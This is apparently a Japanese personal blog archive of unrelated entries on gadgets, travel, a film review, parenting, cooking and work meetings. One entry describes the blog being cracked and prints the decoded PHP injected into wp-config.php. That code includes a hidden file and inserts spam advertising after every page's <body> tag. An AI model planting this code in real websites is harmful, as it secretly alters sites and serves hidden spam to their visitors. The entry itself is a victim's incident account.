Apple Watchを購入観点でじっくり見てみたら、ぐっときたのは無印ではあるものの13万円もするリンクブレスレットモデルではないか。さすがにちょっと、と躊躇して、会社で試験機として買った無印38mmスポーツバンドモデルでGW中に試用。以下ファーストインプレッション。
(上野学さんからご指摘いただき一部修正しました)
Apple Watchを購入観点でじっくり見てみたら、ぐっときたのは無印ではあるものの13万円もするリンクブレスレットモデルではないか。さすがにちょっと、と躊躇して、会社で試験機として買った無印38mmスポーツバンドモデルでGW中に試用。以下ファーストインプレッション。
(上野学さんからご指摘いただき一部修正しました)
台湾サービス科学会のカンファレンスにご招待を受けて、初の台湾訪問。
カンファレンス内容とはまったく関係ない、台湾所感。
いつのまにか本厄の年になっていた。会社を設立した年が29才なのでちょうど12年。なんとなくきりがよい。誕生日の4月12日は、家族みんな風邪っぽいこともあり、あまりアクティブに出回らずおとなしくアナと雪の女王を見に行くことに。
2才と5才の子供がフルに映画館でおとなしくしていられるかを心配しながらの、付き合い気分の鑑賞だったが、結果的に個人的にもものすごくよかった。
子供が日本語もおぼつかない状態なので吹き替え版を見たのだが、まずこの日本語吹き替え版が大当たりだった。この映画ははっきりいってミュージカル映画であって、音楽と歌がすごく重要。その意味で、映画館の大音量で見ることの意義は大きい。そして、この映画はディズニー映画ではあまり見ない二人のヒロインが主人公スタイル(その意味でタイトルの「アナと雪の女王」はアナを推しすぎていてミスリード)。二人のヒロインの吹き替えは神田沙也加と松たか子が担っているのだが、この二人すごい。 誰が声優かまったく知らずに(わからずに)見ていたが、セリフも歌も違和感なく魅了されてしまった。
ミュージカル映画の邦訳時の課題である、和訳歌詞であるが、これも聞いていると違和感がないばかりか、日本語の歌詞としても意表をついてよくできていると思う。「すこ〜しも寒くないわ(The cold never bother me anymore.)」とか、「ありーの、ままーで(Let it go, let it go)」とか、英詞を聞いてからだと違和感を感じるのかもしれないけど、少なくとも日本語版を最初に聞いた時はむしろ感心した。近田春夫さんがどう評するのか、たいへん興味がある。
似たスタイルで、わりと好きな「魔法にかけられて」なんかだと、歌とおどりのシーンが若干わざとらしいのだが、多分そこから学んでいて、この映画では歌シーンはセリフの延長に設定されており、わざとらしさがまったくない。かつ、声優をやっている人がフルで歌を歌っているから、映画としての違和感もまったくない。音楽、効果音とも完璧に馴染んでいて、外国の映画と思えないほど。エンドクレジットでは、英語版(オリジナル版)のキャストだけが収録されていて、日本語版スタッフは最後におまけで出てくるだけだったが(日曜洋画劇場とかで最後に出てくるようなプレーンなテロップ)、ここまで統合されているっていうのは、もはや各国語版スタッフも、スタッフの一員と言えるのではなかろうか。少なくとも、エンドクレジットは各国版でちゃんと声優を取り上げるべきだ。
ちなみに余談であるが、ディズニーの各国語版では、お店の表札とか、英語表記の内容がオリジナルのレイアウトや書体で日本語化されている。これって、制作のどの段階でこの処理を行っているのかたいへん気になる。わりと各国展開を前提に作っていると思えるからだ。音声もしかりで、後からセリフだけ差し替えているとは思えず、明らかにミックスし直している。どうやっているんだろ。
そしてなにより脚本がいい。ダブル主演のストーリーを輻輳的に展開してるから、わかりやすいディズニー映画でありながら、ぱっと見にはわかりにくい展開になっている。なので、大人が見てもありきたりな印象はうけないはず。そして、さらにすごいことに、全体としては分かりやすいと(=スッキリする)いう、かなり練られた展開。姉妹のストーリーというあたりがまた話の深さに寄与している。物語の構造分析が好きな向きにもお勧めである。
家族で映画鑑賞したその日から、主題歌の「Let it go」(の日本語版の松たか子版「ありのままで」)は我が家の定番ソングになってしまった。帰りに食事しながら即iTunesでアルバムは買ったが、どっちかというとYouTubeの一緒に歌おうバージョンの方がよく見ている。そして5才の娘はエルサ(雪の女王)のフリを完コピしながら演じてる。「すこ〜しも寒くないわ(フッ)」という、女王になる瞬間の表情まで完コピしていてなかなかのはまりよう(妹の方は「雪だるまつくろう」が好きみたい)。こりゃはやく音源だけじゃなくて本編の方も配信されないかな。
とまあ、こんな感じで幸せな日常を過ごせることを感謝する誕生日でした。
これからもよろしくお願いします。
あけましておめでとうございます。
さて、昨年は二人目の子供(女児)が生まれ、家族4人でわいわいやっています。
長女は、大晦日に3才の誕生日を迎え、いっちょうまえに会話が成立するようになってきました。
そういった中で興味深いのが、言葉の誤用です。
たいていの誤用は面倒でも言い直してあげることで驚くほど精度が上がっていくのですが、なかなか説明が難しいのが「無」の概念伝達です。
具体的には、「なんでもない」を「誰もない」とよく間違えます(本人はまだ間違えたことに気付いていない)。
「どうしたの?」
「誰もいない」
という会話が日に数回は交わされます。
まだ、抽象概念はわかってるのかわかっていないのかという状態なのですが、
「そういう時は、『なんでもない』って言うんだよ。」って言っていますが、本人的にはぴんと来ていない様子。
ニコニコしながら「誰もいな〜い」って応えます。
ちょっと近い概念で、「謝る」概念もわかっているのどうか不安です。
失敗をしたときに「ごめんごめーん」というクセはついたのですが、けっこう楽しそうにごめんをいっているので果たして「申し訳ない」という概念を持っているのかどうか。
と、そこで思うのは果たして「申し訳ない」という概念とはなんなのか。
自分のやったことを反省して、自責の念を持てばよいのか?そうだっけ?
ちなみに、デジタル機器周りでは、iPadやiPhoneは文字入力以外は難なく使いこなし、最近ではMacでのKidPixも使えるようになりました(マウス操作)。
まだ文字が読めないのでWiiは難しいのですが(Wiiではコントローラーのストラップを腕に通しなさい、というインストラクションのところは理解しているらしく、その表示が出る度に得意げに「ここに通すのよ」って周りの人に教えてあげています)、普通のコントローラー、Wii Fitコントローラーといった無線のコントローラーで接続するあたりは当然のように理解しています(むしろ有線のコントローラーも外そうとしたりします)。
また、完全に映像コンテンツはオンデマンドなものだと思っているようで、テレビを見ているときにトイレやお風呂に立つタイミングで「ちょっと止めておいて」とさも当然のように言っています。
まあ、ライブ放送以外、リアルタイムストリーミングであることのほうが理解が難しいんだろうな。
そんな感じですが、今年もよろしくお願いします。
コンセントのsojinくん、駒崎さん、GoogleのDonal、Braden、DESIGN IT!の米田氏らとMAKE Meetingへ。
HCD-Net理事でもあるDESIGN IT!/ソシオメディアの篠原さんの計らいで、DESIGN IT! Conference 2009のゲストとして来日されているBraden Kowitz氏(米Google社シニアUXデザイナ)、Donal Mountain氏(米Google社UXリサーチャ)らとHCD-Net理事メンバーとの意見交換会が開催された。
今回、Google代表としてではなく、各分野のスペシャリストとして講演されるとのことだったが、GoogleでのUXアクティビティなどを聞くことができた。
おふたりとももともとそれぞれ肩書きがユーザーインターフェイスデザイナ、ユーザビリティアナリストだったのが数年前にGoogleでは、UXの概念の普及と共にユーザーエクスペリエンスデザイナ、ユーザーエクスペリエンスリサーチャと変わったとのこと。
他にも、Google内及び日本国内でのUXリテラシの普及度、分野ごとの具体的なユーザビリティエンジニアリングの手法など、実践における方法などで意見交換を行うことができた。
例によってSuica等のプリペイドカードの日本での普及と携帯との融合は彼らには目新しかったようで、早速Suicaを購入していた模様。
11/13〜15で、上海で開催されたUser Friendly 09カンファレンスに参加。
User Friendly 09 by UPA China
http://www.upachina.org/userfriendly2009/en/index/index.aspx
今週は水曜が休みだったため、木曜金曜の二日は週明けっぽくもあり、あっという間の週末っぽくもあり、のあわただしい日々だった。
ジョージ、河内さんが出張、旅行から帰国。
河内さんのハワイ旅行記は読み応えもあり、ハワイに行きたくなる。
もうちょっと子供が大きくなったらだな。
金曜役員会では、コンセントの新キャッチフレーズにつけるショルダーコピーというのかな?フレーズの隣に書かれる文言、あれが決まった。近日公開されます。
また、ビデオカメラを購入。
メモリカードに録画できる軽量なやつ、と思っていたのだが、このタイミングでソニーから渾身のできの新機種が登場。
小寺信良の週間「Electric Zooma!」’09年春頂上決戦!? HDR-XR520V vs HF S10
〜 数年に一度の革命を一気に成し遂げたHDR-XR520V篇 〜
ちょっと予算オーバーしたがこれを買わないわけにはいかず発売日前に予約。
2/20発売予定だったが、1週間早く発売された模様。
会社でちょっと試し撮りしたが、まずはその画質におどろく。
ミニDVとかの時代しか知らないので(ザクティとかコンパクトビデオはあったが、あっちはもちっと画質は劣る)、フルハイビジョン画質にちょっとした感動を味わう。
あとは、記事の評判通り、アンチ手ぶれの性能がものすごい。歩きながら撮ってもほんとに安定している。
こんなカメラが学生時代にあったら映画撮り放題だな。
これと、10万円くらいのMacBookとかで十分編集できてしまうのだから。
週末は相変わらず家で子供の世話の手伝いと、食事作り。
土曜は暖かいというより春のような気候。
ようやく加湿器が届いたのだが、そろそろいらなくなりそうなタイミング。
ビデオカメラでカメラづいたので、ついでに陽気に惹かれてお散歩撮影。
D80にCarl Zeiss Planar 50mm/F1.4で撮影実験。
帰り道で見切り品の野菜といっしょにこんにゃくを買ってきて先日買ってきてほったらかしになっていた牛スジ煮込みに挑戦。
結婚祝いにもらった圧力鍋をを初めて使ってみる。
圧力鍋に、一度湯がいて血や油を落とした牛スジと、塩もみしたこんにゃく、あとはしょう油とみりんを加えて煮込む。
湯がいた状態のすじ肉は、がちがちに固まって、お湯につけたせいで反ってしまっている。
加圧して30分煮込んだら、鍋を移してさらにしばらく煮込む。
これで信じられないくらいとろーんとした牛スジ煮込みができあがった。
以前スペアリブのカレーを作ってもらったときも骨まで食べられるほど煮込まれたのだが、この圧力鍋というのはあまりにも強力すぎてちょっと恐れを感じてしまう。
(この)blogがクラックされた。
具体的には、<body>タグの直後に64kくらいの(!)SPAM広告が埋め込まれる、というクラック。
kazuさんに指摘されて気づいたのだが、CSSを切らないと画面には表示されないようになっていた。
指摘された後もなにが起きているのかわからず、WordPressを最新ソースに差し替えたりしたのだが、直らず。
と、思っていたら、WordPress設定ファイルである、wp-config.php自体が汚染されていた。
かつ、埋め込まれたコードはbase64でエンコードされており、単純には見つからない仕組みになっていた。
ちなみにこんなコード。けらくんに解読してもらった。
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){ $GLOBALS['sh_no']=1; if(file_exists('/home/www/wordpress/wp-includes/js/ tinymce/themes/advanced/images/xp/js.php')){ include_once('/home/www/wordpress/wp-includes/js/ tinymce/themes/advanced/images/xp/js.php'); if(function_exists('gml')&&!function_exists('dgobh')){ if(!function_exists('gzdecode')){ function gzdecode($d){ $f=ord(substr($d,3,1)); $h=10; $e=0; if($f&4){ $e=unpack('v',substr($d,10,2)); $e=$e[1]; $h+=2+$e; } if($f&8){ $h=strpos($d,chr(0),$h)+1; } if($f&16){ $h=strpos($d,chr(0),$h)+1; } if($f&2){ $h+=2; } $u=gzinflate(substr($d,$h)); if($u===FALSE){ $u=$d; } return $u; } } function dgobh($b){ Header('Content-Encoding: none'); $c=gzdecode($b); if(preg_match('/\<body/si',$c)){ return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c); } else{ return gml().$c; } } ob_start('dgobh'); } } }
もう一つ自己増殖するコードも埋め込まれていた模様。
実はこのblog(underconcept)ではなく、同じサーバで運営していた別のblogが原因でこちらのblogも汚染されていた。
これはこのblogを乗せているさくらインターネットがユーザーの権限でApacheを動かしていたため、パーミッション644のファイル(ほぼすべて)が、Apacheの権限で書き換えられてしまったことに起因しそう。
問題のありそうなテーマ等は現在解析中です。
月曜午前はグループミーティング。
本日は、昨日紹介したUX Deliverablesを紹介しながら自分たちのプロセスとの比較や、知らない用語がないかの確認。
こういったかたちで全体像が提示されることで自分達のプロセスとの比較や、議論する際のスタートラインを作れるのことはたいへんよい。
大岡くんやちこちゃんなどIX/UXチーム以外の人々も参加して、むしろチームメンバーより活発に議論。
午後はプロジェクトの相談を受けに赤坂へ、その後は続けてプロジェクトミーティング。
帰り道でI佐さんよりプライベートかつコンフィデンシャルな相談を受け大いに盛り上がる。
火曜は午前はドキュメント制作などの作業。
午後からプロジェクトについての社内デザインミーティング。
「画面情報の価値」ということについて、情報量、一覧性、インタラクション(ギミック) の有無、楽しさ(演出)といった競合もする要素のグラデーションから検討する。
その後は、CNET西田さんの紹介でウノウの山田さんとお会いする。
関係ないがウノウって関連会社にサノウってあるのね。
夜のIA100ミーティングは編集の村田さんの急な会議で延期。